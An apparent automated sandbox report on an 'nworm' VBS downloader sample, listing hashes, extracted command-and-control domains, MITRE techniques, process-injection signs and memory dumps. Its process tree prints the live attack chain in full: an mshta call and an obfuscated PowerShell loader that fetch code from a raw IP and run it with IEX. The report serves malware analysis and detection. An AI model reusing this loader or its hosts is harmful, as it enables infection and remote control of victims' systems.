nworm | 6b235c95eed670e95d5d6a62ce5cb81207cfa20f7c677c715a3fee9297810e3d

General

Target

KTROWQANB.vbs
Size

6KB
MD5

ae14df44e1c761f6ffd4f775e9c890dd
SHA1

53960358beadf51da65921775f40d63770834ff0
SHA256

6b235c95eed670e95d5d6a62ce5cb81207cfa20f7c677c715a3fee9297810e3d
SHA512

c919b3c70f986095dc0eaf2004a54c28766e77e4398b09697c11dee80c6d5325f0c6570fb57a2df894daf0714552dfb1638c99d8c5e77142d811d5b958440ce4

Score

10^/10

nworm downloader worm

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://54.235.58.2/2/Ps1HDF.txt

Extracted

Family

nworm

Version

v0.3.8

C2

nyanmoj.duckdns.org:5057

moneyhope81.duckdns.org:5057

Mutex

cb2d3cba

Signatures

NWorm
A TrickBot module used to propagate to vulnerable domain controllers.
worm downloader nworm
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.

Processes:

msHta.exe

description pid pid_target process target process

Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 3812 3160 msHta.exe
Blocklisted process makes network request 3 IoCs

Processes:

msHta.exepowershell.exe

flow pid process

24 3812 msHta.exe
25 652 powershell.exe
34 652 powershell.exe
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.

Query Registry
T1012

System Information Discovery
T1082

Processes:

msHta.exe

description ioc process

Key value queried \REGISTRY\USER\S-1-5-21-790714498-1549421491-1643397139-1000\Control Panel\International\Geo\Nation msHta.exe
Suspicious use of SetThreadContext 1 IoCs

Processes:

powershell.exe

description pid process target process

PID 652 set thread context of 2864 652 powershell.exe aspnet_regbrowsers.exe

description	pid	pid_target	process	target process
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3812	3160	msHta.exe

flow	pid	process
24	3812	msHta.exe
25	652	powershell.exe
34	652	powershell.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-790714498-1549421491-1643397139-1000\Control Panel\International\Geo\Nation	msHta.exe

description	pid	process	target process
PID 652 set thread context of 2864	652	powershell.exe	aspnet_regbrowsers.exe

Drops file in Windows directory 1 IoCs

Processes:

svchost.exe

description	ioc	process
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\DeliveryOptimization\State\keyValueLKG.dat	svchost.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

MusNotifyIcon.exe

description	ioc	process
Key opened	\Registry\Machine\HARDWARE\DESCRIPTION\System\CentralProcessor\0	MusNotifyIcon.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	MusNotifyIcon.exe

Modifies data under HKEY_USERS 51 IoCs

Processes:

svchost.exe

description	ioc	process
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\CDNConnectionCount = "0"	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\BkDownloadRatePct = "45"	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\MonthlyUploadRestriction = "0"	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\DownloadMonthlyGroupBytes = "0"	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\DownloadMonthlyRateBkBps = "1157726"	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\DownloadMonthlyRateBkCnt = "4"	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\UploadMonthlyInternetBytes = "0"	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\DownloadMonthlyLanBytes = "0"	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\DownloadMonthlyLinkLocalBytes = "0"	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\DownloadMonthlyRateFrCnt = "0"	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Config	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Settings	svchost.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Config\Geo_EndpointFullUri = "https://geo.prod.do.dsp.mp.microsoft.com/geo"	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\UploadCount = "0"	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\PriorityDownloadCount = "0"	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\DownloadMonthlyRateBkCnt = "0"	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\LinkLocalConnectionCount = "0"	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\DownlinkBps = "0"	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\UplinkBps = "0"	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Config\KVFileExpirationTime = "132891232012210376"	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\UploadRatePct = "100"	svchost.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\CPUpct = "10.150763"	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\DownloadMonthlyCdnBytes = "90228624"	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\CacheSizeBytes = "0"	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\PeerInfoCount = "0"	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\GroupConnectionCount = "0"	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\DownloadMonthlyCdnBytes = "0"	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Config\DODownloadMode = "1"	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\UploadMonthlyLanBytes = "0"	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\MemoryUsageKB = "3784"	svchost.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Config\GeoVersion_EndpointFullUri = "https://geover.prod.do.dsp.mp.microsoft.com/geoversion"	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\LANConnectionCount = "0"	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\InternetConnectionCount = "0"	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\MemoryUsageKB = "4044"	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\MonthID = "2"	svchost.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\CPUpct = "0.006537"	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\DownloadMonthlyRateFrBps = "0"	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\FrDownloadRatePct = "90"	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\NormalDownloadCount = "0"	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\NormalDownloadPendingCount = "0"	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\DownloadMonthlyRateBkBps = "0"	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Config\DownloadMode_BackCompat = "1"	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\MonthID = "1"	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\PriorityDownloadPendingCount = "0"	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\DownlinkUsageBps = "0"	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\UplinkUsageBps = "0"	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\DownloadMonthlyInternetBytes = "0"	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\DownloadMonthlyCacheHostBytes = "0"	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\SwarmCount = "1"	svchost.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exe

pid process

652 powershell.exe
652 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 652 powershell.exe

pid	process
652	powershell.exe
652	powershell.exe

description	pid	process
Token: SeDebugPrivilege	652	powershell.exe

Suspicious use of WriteProcessMemory 10 IoCs

Processes:

msHta.exepowershell.exe

description	pid	process	target process
PID 3812 wrote to memory of 652	3812	msHta.exe	powershell.exe
PID 3812 wrote to memory of 652	3812	msHta.exe	powershell.exe
PID 652 wrote to memory of 2864	652	powershell.exe	aspnet_regbrowsers.exe
PID 652 wrote to memory of 2864	652	powershell.exe	aspnet_regbrowsers.exe
PID 652 wrote to memory of 2864	652	powershell.exe	aspnet_regbrowsers.exe
PID 652 wrote to memory of 2864	652	powershell.exe	aspnet_regbrowsers.exe
PID 652 wrote to memory of 2864	652	powershell.exe	aspnet_regbrowsers.exe
PID 652 wrote to memory of 2864	652	powershell.exe	aspnet_regbrowsers.exe
PID 652 wrote to memory of 2864	652	powershell.exe	aspnet_regbrowsers.exe
PID 652 wrote to memory of 2864	652	powershell.exe	aspnet_regbrowsers.exe

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\KTROWQANB.vbs"
1⤵
PID:1232

C:\Windows\system32\msHta.exe
msHta.exe HttP://54.235.58.2/2/EncDJDJJD.txt
1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3812

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $Hx = 'http://54.235.58.2/2/Ps1HDF.txt';Function RRBP([string] $KUFB) {$sFKU = [system.Collections.Generic.list[Byte]]::new();for ($AHYV = 0; $AHYV -lt $KUFB.lengtH; $AHYV +=8) {$sFKU.Add([Convert]::ToByte($KUFB.substring($AHYV, 8), 2))}return [system.Text.encoding]::AsCII.Getstring($sFKU.ToArray())};$eZHV = RRBP 'OWUT1OWUT11OWUT11OWUT111OWUTOWUT11OWUT111OWUT1OWUTOWUTOWUT1OWUT1OWUTOWUT1OWUTOWUT1OWUTOWUT1OWUTOWUT1OWUT1OWUTOWUT111OWUTOWUT1OWUTOWUTOWUT111OWUT1OWUT111OWUT1OWUTOWUT111OWUT1OWUTOWUTOWUT111OWUT1OWUTOWUT11OWUT1OWUT1OWUTOWUT11OWUT1111OWUT1OWUTOWUT1OWUTOWUT1OWUT11OWUT111OWUTOWUTOWUT1OWUT1OWUTOWUTOWUTOWUTOWUT1OWUTOWUT111OWUTOWUT1OWUTOWUT111OWUTOWUT1OWUT11OWUTOWUTOWUTOWUT1OWUT1OWUTOWUTOWUTOWUTOWUT1OWUT1OWUTOWUTOWUTOWUTOWUT11OWUT111OWUTOWUT11OWUT11OWUTOWUTOWUT1OWUT11OWUTOWUTOWUTOWUT11OWUT11OWUTOWUTOWUT11OWUT1OWUTOWUTOWUTOWUT1OWUT11OWUTOWUTOWUTOWUT1OWUTOWUTOWUTOWUTOWUTOWUTOWUT111OWUTOWUT1OWUTOWUT11OWUTOWUT11OWUTOWUT1OWUT11OWUTOWUTOWUTOWUT1OWUTOWUTOWUTOWUTOWUTOWUTOWUT11OWUT1OWUTOWUTOWUTOWUT11OWUT1OWUT1OWUTOWUT1OWUT11OWUTOWUTOWUTOWUT11OWUT111OWUTOWUT11OWUT1OWUT1OWUTOWUT1OWUTOWUTOWUTOWUTOWUTOWUTOWUT1OWUT11OWUTOWUTOWUTOWUT111OWUTOWUT1OWUTOWUT11OWUT11OWUTOWUTOWUT1OWUT11OWUTOWUTOWUTOWUT1OWUTOWUTOWUTOWUTOWUTOWUTOWUT11OWUTOWUTOWUT1OWUTOWUT11OWUTOWUTOWUT1OWUTOWUT11OWUT1OWUTOWUTOWUTOWUT1OWUT11OWUTOWUTOWUTOWUT1OWUTOWUTOWUTOWUTOWUTOWUTOWUT11OWUT1OWUTOWUTOWUTOWUT11OWUTOWUTOWUTOWUTOWUTOWUT1OWUTOWUTOWUTOWUTOWUTOWUTOWUT1OWUT11OWUTOWUTOWUTOWUT11OWUT111OWUTOWUT11OWUT1OWUTOWUTOWUTOWUT1OWUT11OWUTOWUTOWUTOWUT1OWUTOWUTOWUTOWUTOWUTOWUTOWUT11OWUTOWUTOWUT1OWUTOWUT11OWUTOWUTOWUTOWUTOWUTOWUT11OWUTOWUT11OWUTOWUT1OWUT11OWUTOWUTOWUTOWUT11OWUTOWUTOWUT1OWUTOWUT11OWUTOWUTOWUT1OWUTOWUT11OWUTOWUTOWUT1OWUTOWUT1OWUT11OWUTOWUTOWUTOWUT111OWUTOWUT1OWUTOWUT11OWUT11OWUTOWUTOWUT1OWUT11OWUTOWUTOWUTOWUT11OWUTOWUTOWUT1OWUTOWUT11OWUTOWUTOWUTOWUTOWUTOWUT11OWUTOWUT1OWUTOWUTOWUT1OWUT11OWUTOWUTOWUTOWUT1OWUTOWUTOWUTOWUTOWUTOWUTOWUT11OWUTOWUTOWUT1OWUTOWUT11OWUTOWUTOWUT1OWUTOWUT11OWUTOWUT11OWUTOWUT1OWUT11OWUTOWUTOWUTOWUT11OWUTOWUT11OWUTOWUT11OWUT111OWUTOWUT1OWUT11OWUTOWUTOWUTOWUT1OWUTOWUTOWUTOWUTOWUTOWUTOWUT11OWUT111OWUTOWUT11OWUT1OWUT1OWUTOWUT1OWUT11OWUTOWUTOWUTOWUT111OWUTOWUT1OWUTOWUT11OWUT11OWUTOWUTOWUT1OWUT11OWUTOWUTOWUTOWUT11OWUTOWUTOWUT1OWUTOWUT11OWUTOWUTOWUT1OWUTOWUT11OWUTOWUT11OWUTOWUT1OWUTOWUTOWUTOWUTOWUTOWUTOWUT1OWUT11OWUTOWUTOWUTOWUT11OWUT1OWUTOWUTOWUTOWUT11OWUTOWUT11OWUTOWUT1OWUTOWUTOWUTOWUTOWUTOWUTOWUT1OWUT11OWUTOWUTOWUTOWUT111OWUTOWUTOWUTOWUTOWUT11OWUTOWUT1OWUTOWUTOWUT1OWUT11OWUTOWUTOWUTOWUT111OWUTOWUT1OWUTOWUT11OWUT11OWUTOWUTOWUT1OWUTOWUTOWUTOWUTOWUTOWUTOWUT1OWUT11OWUTOWUTOWUTOWUT1OWUTOWUTOWUTOWUTOWUTOWUTOWUT11OWUTOWUTOWUT1OWUTOWUT11OWUTOWUTOWUTOWUTOWUTOWUT11OWUTOWUT11OWUTOWUT1OWUT11OWUTOWUTOWUTOWUT11OWUT111OWUTOWUT11OWUTOWUTOWUTOWUTOWUTOWUT1OWUTOWUTOWUTOWUTOWUTOWUTOWUT1OWUT11OWUTOWUTOWUTOWUT1OWUTOWUTOWUTOWUTOWUTOWUTOWUT11OWUTOWUTOWUT1OWUTOWUT11OWUTOWUTOWUTOWUTOWUTOWUT11OWUT1OWUT1OWUTOWUT1OWUT11OWUTOWUTOWUTOWUT1OWUTOWUTOWUTOWUTOWUTOWUTOWUT11OWUTOWUTOWUT1OWUTOWUT11OWUTOWUTOWUTOWUTOWUTOWUT111OWUTOWUTOWUTOWUTOWUT1OWUT11OWUTOWUTOWUTOWUT1OWUTOWUTOWUTOWUTOWUTOWUTOWUT111OWUTOWUT1OWUTOWUT11OWUT11OWUTOWUTOWUT1OWUT11OWUTOWUTOWUTOWUT1OWUTOWUTOWUTOWUTOWUTOWUTOWUT11OWUTOWUTOWUT1OWUTOWUT11OWUTOWUTOWUTOWUTOWUTOWUT11OWUT111OWUTOWUT1OWUTOWUTOWUTOWUTOWUTOWUTOWUT1OWUT11OWUTOWUTOWUTOWUT11OWUTOWUTOWUT1OWUTOWUT11OWUTOWUTOWUT1OWUTOWUT11OWUTOWUT11OWUTOWUT1OWUTOWUTOWUTOWUTOWUTOWUTOWUT1OWUT11OWUTOWUTOWUTOWUT11OWUT1OWUTOWUTOWUTOWUT11OWUT1OWUTOWUTOWUTOWUT1OWUT11OWUTOWUTOWUTOWUT1OWUTOWUTOWUTOWUTOWUTOWUTOWUT11OWUT1OWUTOWUTOWUTOWUT11OWUTOWUT11OWUTOWUT1OWUTOWUTOWUTOWUTOWUTOWUTOWUT1OWUT11OWUTOWUTOWUTOWUT1OWUTOWUTOWUTOWUTOWUTOWUTOWUT11OWUT11OWUTOWUTOWUT11OWUT1OWUT1OWUTOWUT1OWUT11OWUTOWUTOWUTOWUT11OWUTOWUTOWUT1OWUTOWUT11OWUTOWUTOWUTOWUTOWUTOWUT11OWUT11OWUTOWUTOWUT1OWUT11OWUTOWUTOWUTOWUT11OWUTOWUTOWUT1OWUTOWUT11OWUTOWUTOWUT1OWUTOWUT11OWUT1OWUTOWUTOWUTOWUT1OWUTOWUTOWUTOWUTOWUTOWUTOWUT1OWUT11OWUTOWUTOWUTOWUT1OWUTOWUTOWUTOWUTOWUTOWUTOWUT11OWUTOWUTOWUT1OWUTOWUT11OWUTOWUTOWUTOWUTOWUTOWUT11OWUT111OWUTOWUT1OWUTOWUTOWUTOWUTOWUTOWUTOWUT1OWUT11OWUTOWUTOWUTOWUT1OWUTOWUTOWUTOWUTOWUTOWUTOWUT11OWUTOWUTOWUT1OWUTOWUT11OWUTOWUTOWUTOWUTOWUTOWUT11OWUT1OWUT1OWUTOWUT1OWUTOWUTOWUTOWUTOWUTOWUTOWUT1OWUT11OWUTOWUTOWUTOWUT1OWUTOWUTOWUTOWUTOWUTOWUTOWUT11OWUTOWUTOWUT1OWUTOWUT11OWUTOWUTOWUTOWUTOWUTOWUT11OWUT11OWUTOWUTOWUT1OWUTOWUTOWUTOWUTOWUTOWUTOWUT1OWUT11OWUTOWUTOWUTOWUT1OWUTOWUTOWUTOWUTOWUTOWUTOWUT11OWUTOWUTOWUT1OWUTOWUT11OWUTOWUTOWUTOWUTOWUTOWUT11OWUTOWUTOWUTOWUTOWUTOWUT1OWUTOWUTOWUTOWUTOWUTOWUTOWUT1OWUT11OWUTOWUTOWUTOWUT1OWUTOWUTOWUTOWUTOWUTOWUTOWUT111OWUTOWUT1OWUTOWUT11OWUT111OWUTOWUT1OWUT11OWUTOWUTOWUTOWUT111OWUTOWUTOWUTOWUTOWUT11OWUT11OWUTOWUTOWUT1OWUTOWUTOWUTOWUTOWUTOWUTOWUT1OWUT11OWUTOWUTOWUTOWUT11OWUTOWUTOWUT1OWUTOWUT11OWUTOWUTOWUT1OWUTOWUT11OWUTOWUT11OWUTOWUT1OWUTOWUTOWUTOWUTOWUTOWUTOWUT1OWUT11OWUTOWUTOWUTOWUT1OWUTOWUTOWUTOWUTOWUTOWUTOWUT11OWUTOWUTOWUT1OWUTOWUT11OWUTOWUTOWUT1OWUTOWUT111OWUTOWUT1OWUTOWUT1OWUT11OWUTOWUTOWUTOWUT11OWUTOWUTOWUT1OWUTOWUT11OWUTOWUTOWUTOWUTOWUTOWUT111OWUTOWUTOWUTOWUTOWUT1OWUT11OWUTOWUTOWUTOWUT11OWUTOWUTOWUT1OWUTOWUT11OWUTOWUTOWUTOWUTOWUTOWUT11OWUT111OWUTOWUT1OWUT11OWUTOWUTOWUTOWUT111OWUTOWUT1OWUTOWUT111OWUTOWUTOWUTOWUTOWUT1OWUTOWUTOWUTOWUTOWUTOWUTOWUT1OWUT11OWUTOWUTOWUTOWUT1OWUTOWUTOWUTOWUTOWUTOWUTOWUT11OWUT1OWUTOWUTOWUTOWUT11OWUT1OWUT1OWUTOWUT1OWUT11OWUTOWUTOWUTOWUT1OWUTOWUTOWUTOWUTOWUTOWUTOWUT11OWUTOWUT11OWUTOWUT11OWUTOWUT11OWUTOWUT1OWUTOWUTOWUTOWUTOWUTOWUTOWUT1OWUT11OWUTOWUTOWUTOWUT1OWUTOWUTOWUTOWUTOWUTOWUTOWUT11OWUT111OWUTOWUT11OWUT111OWUTOWUT1OWUTOWUTOWUTOWUTOWUTOWUTOWUT1OWUT11OWUTOWUTOWUTOWUT1OWUTOWUTOWUTOWUTOWUTOWUTOWUT11OWUTOWUTOWUT1OWUTOWUT11OWUTOWUT1OWUTOWUTOWUT11OWUT1OWUT1OWUTOWUT1OWUTOWUTOWUTOWUTOWUTOWUTOWUT1OWUT11OWUTOWUTOWUTOWUT1OWUTOWUTOWUTOWUTOWUTOWUTOWUT11OWUT1OWUTOWUTOWUTOWUT11OWUT1OWUTOWUTOWUTOWUT1OWUT1OWUTOWUT1OWUTOWUT1OWUTOWUTOWUTOWUTOWUTOWUT11111OWUTOWUTOWUT1OWUTOWUTOWUT11OWUTOWUT1OWUTOWUT1111OWUT1OWUT1OWUTOWUT1OWUTOWUT11OWUTOWUT1OWUT1OWUT11OWUTOWUTOWUTOWUT1OWUT11OWUTOWUTOWUT11OWUT11OWUT1OWUTOWUTOWUTOWUT1111OWUT11OWUT1OWUT11OWUT11OWUT1OWUTOWUTOWUTOWUT11OWUT11OWUT1OWUTOWUTOWUTOWUT1OWUTOWUTOWUTOWUTOWUT1OWUT111OWUTOWUT1OWUTOWUT1OWUT111OWUT1OWUTOWUT1OWUT1OWUTOWUTOWUTOWUTOWUT1OWUTOWUT1OWUTOWUTOWUT1OWUT11111OWUTOWUT1OWUT11OWUT1OWUT1OWUTOWUTOWUTOWUT1OWUTOWUT1111OWUTOWUTOWUTOWUT1OWUTOWUT1111OWUT1OWUT1OWUTOWUT1OWUTOWUTOWUT1OWUTOWUT111OWUTOWUT11OWUTOWUTOWUTOWUTOWUT1111OWUTOWUTOWUTOWUTOWUT11OWUTOWUTOWUTOWUTOWUTOWUT11OWUT1OWUT1OWUTOWUT1OWUTOWUT111OWUTOWUT1OWUTOWUTOWUTOWUTOWUTOWUTOWUT1OWUT1OWUTOWUT1OWUT11111OWUT1OWUTOWUT1OWUT1OWUTOWUT1OWUTOWUT1OWUTOWUTOWUTOWUTOWUTOWUTOWUT1OWUT1OWUTOWUT1OWUTOWUT1OWUTOWUTOWUTOWUTOWUTOWUT11111OWUTOWUTOWUTOWUT1OWUTOWUTOWUTOWUTOWUTOWUTOWUT1OWUT111OWUTOWUTOWUT1OWUT1OWUTOWUTOWUTOWUTOWUT1OWUTOWUTOWUTOWUTOWUTOWUTOWUT1OWUT1OWUTOWUTOWUTOWUT1OWUT11OWUT11OWUT1OWUT1OWUTOWUT11OWUT1OWUT1OWUT1OWUTOWUTOWUT1OWUT1OWUTOWUT1OWUTOWUT1OWUTOWUT1OWUTOWUT1OWUT11OWUT111OWUTOWUT11OWUTOWUT111OWUT1OWUT111OWUT1OWUTOWUT1OWUTOWUT1OWUTOWUTOWUT111OWUT11OWUTOWUT11OWUTOWUT1OWUT1OWUT1OWUT1OWUTOWUT1OWUTOWUT11OWUTOWUTOWUT1OWUTOWUT11OWUT1111OWUT1OWUT1OWUTOWUT11OWUT11OWUTOWUT1OWUT1OWUT111OWUTOWUTOWUTOWUTOWUT1OWUT1OWUTOWUT1OWUTOWUT1OWUTOWUTOWUT1OWUT1OWUT1OWUTOWUTOWUT11OWUTOWUT11OWUTOWUT1OWUT1OWUT1OWUT1OWUTOWUT1OWUTOWUT11OWUTOWUT1OWUT1OWUT11OWUT111OWUTOWUT1OWUTOWUTOWUTOWUT11OWUT1OWUTOWUTOWUT1OWUT1OWUTOWUT1OWUT1OWUTOWUT1OWUT1OWUT11OWUT11OWUTOWUT11OWUTOWUTOWUT1OWUTOWUT1OWUT11OWUTOWUTOWUTOWUT11OWUTOWUT11OWUT1OWUT111OWUT1OWUTOWUT1OWUT1OWUT11OWUTOWUT1OWUTOWUT111OWUT1OWUT11OWUTOWUTOWUTOWUTOWUT1OWUTOWUT111OWUTOWUT1OWUT11OWUT1OWUT11OWUT1OWUT1OWUTOWUT11OWUT1111OWUT11OWUT1OWUTOWUT1OWUT11OWUT111OWUTOWUTOWUT1OWUTOWUT111OWUTOWUT1OWUTOWUT111OWUTOWUT1OWUT1OWUTOWUT1'.RePlace('OWUT','0');IeX $eZHV
2⤵
- Blocklisted process makes network request
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:652

C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe"
3⤵
PID:2864

C:\Windows\system32\MusNotifyIcon.exe
%systemroot%\system32\MusNotifyIcon.exe NotifyTrayIcon 13
1⤵
- Checks processor information in registry
PID:1908

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p
1⤵
- Drops file in Windows directory
- Modifies data under HKEY_USERS
PID:3192

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

3

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

memory/652-134-0x0000026B262B3000-0x0000026B262B5000-memory.dmp

Filesize
8KB

Download
memory/652-139-0x0000026B26E50000-0x0000026B26E72000-memory.dmp

Filesize
136KB

Download
memory/652-143-0x0000026B24AC3000-0x0000026B24AC5000-memory.dmp

Filesize
8KB

Download
memory/652-142-0x0000026B24AC0000-0x0000026B24AC2000-memory.dmp

Filesize
8KB

Download
memory/652-144-0x0000026B24AC6000-0x0000026B24AC8000-memory.dmp

Filesize
8KB

Download
memory/652-145-0x0000026B3F6C0000-0x0000026B3F6DA000-memory.dmp

Filesize
104KB

Download
memory/2864-146-0x0000000000400000-0x000000000040A000-memory.dmp

Filesize
40KB

Download
memory/2864-148-0x000000007458E000-0x000000007458F000-memory.dmp

Filesize
4KB

Download
